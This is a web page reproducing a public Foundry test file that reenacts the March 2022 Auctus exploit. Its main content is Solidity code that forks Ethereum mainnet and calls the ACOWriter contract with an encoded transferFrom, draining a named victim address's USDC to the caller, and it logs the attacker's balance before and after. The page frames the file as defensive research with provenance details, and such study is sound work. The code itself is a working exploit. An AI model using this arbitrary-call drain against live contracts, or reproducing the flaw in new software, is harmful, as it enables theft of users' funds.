Skip to content
THREATWIRE

Public reproduction file

src/test/2022-03/Auctus_exp.sol

Public reproduction file for dataset entry Auctus.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-03/Auctus_exp.sol61 lines
1// SPDX-License-Identifier: UNLICENSED
2// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
3pragma solidity >=0.7.0 <0.9.0;
4
5import "./../interface.sol";
6
7contract MockACOToken {
8 function collateral() public view returns (address) {
9 return address(0);
10 }
12 function mintToPayable(
13 address account
14 ) external payable returns (uint256) {
15 return 1;
16 }
18 function balanceOf(
19 address account
20 ) public view returns (uint256) {
21 return 1;
22 }
24 function approve(address spender, uint256 amount) public returns (bool) {
25 return true;
26 }
28 function strikeAsset() public view returns (address) {
29 return address(this);
30 }
32 function transfer(address recipient, uint256 amount) public returns (bool) {
33 return true;
34 }
37contract ContractTest is Test, MockACOToken {
38 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
39 IACOWriter acowrite = IACOWriter(payable(0xE7597F774fD0a15A617894dc39d45A28B97AFa4f));
40 IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
42 function setUp() public {
43 cheats.createSelectFork("mainnet", 14_460_635); // fork mainnet at block 14460635
44 }
46 function test() public {
47 emit log_named_uint("Before exploit, USDC balance of attacker:", usdc.balanceOf(msg.sender));
48 acowrite.write{value: 1}(
49 address(this),
50 1,
51 address(usdc),
52 abi.encodeWithSelector(
53 bytes4(keccak256(bytes("transferFrom(address,address,uint256)"))),
54 0xCB32033c498b54818e58270F341e5f6a3bce993B,
55 msg.sender,
56 usdc.balanceOf(0xCB32033c498b54818e58270F341e5f6a3bce993B)
57 )
58 );
59 emit log_named_uint("After exploit, USDC balance of attacker:", usdc.balanceOf(msg.sender));
60 }

Analysis

Dataset entry

Public Foundry test for “Auctus” (2022-03-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

13 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
Auctus
Path
src/test/2022-03/Auctus_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
57d427d6e1f3920cda97361367ff3af0217d4ec7
Language
Solidity
Size
62 lines
Date
2022-03-26
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-03/Auctus_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 57d427d6e1f3920cda97361367ff3af0217d4ec7, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.